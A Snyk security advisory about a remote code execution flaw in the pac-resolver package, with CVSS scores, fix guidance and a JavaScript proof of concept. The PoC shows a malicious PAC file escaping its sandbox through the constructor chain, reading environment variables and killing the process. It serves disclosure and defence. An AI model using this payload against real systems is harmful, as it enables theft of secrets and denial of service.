Remote Code Execution (RCE) Affecting org.webjars.npm:pac-resolver package, versions [,6.0.2)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.43% (75th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JAVA-ORGWEBJARSNPM-1568506
  • published 22 Aug 2021
  • disclosed 30 May 2021
  • credit Tim Perry

How to fix?

Upgrade org.webjars.npm:pac-resolver to version 6.0.2 or higher.

Overview

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This can occur when used with untrusted input, due to unsafe PAC file handling.

In order to exploit this vulnerability in practice, this either requires an attacker on your local network, a specific vulnerable configuration, or some second vulnerability that allows an attacker to set your config values.

NOTE: The fix for this vulnerability is applied in the node-degenerator library, a dependency is written by the same maintainer.

PoC

const pac = require('pac-resolver');

// Should keep running forever (if not vulnerable): setInterval(() => { console.log("Still running"); }, 1000);

// Parsing a malicious PAC file unexpectedly executes unsandboxed code: pac(` // Real PAC config: function FindProxyForURL(url, host) { return "DIRECT"; }

// But also run arbitrary code:
var f = this.constructor.constructor(\`
    // Running outside the sandbox:
    console.log('Read env vars:', process.env);
    console.log('!!! PAC file is running arbitrary code !!!');
    console.log('Can read & could exfiltrate env vars ^');
    console.log('Can kill parsing process, like so:');
    process.exit(100); // Kill the vulnerable process
    // etc etc
\`);

f();

CVSS Scores

version 3.1
Expand this section

Snyk

8.1 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
Expand this section

NVD

9.8 critical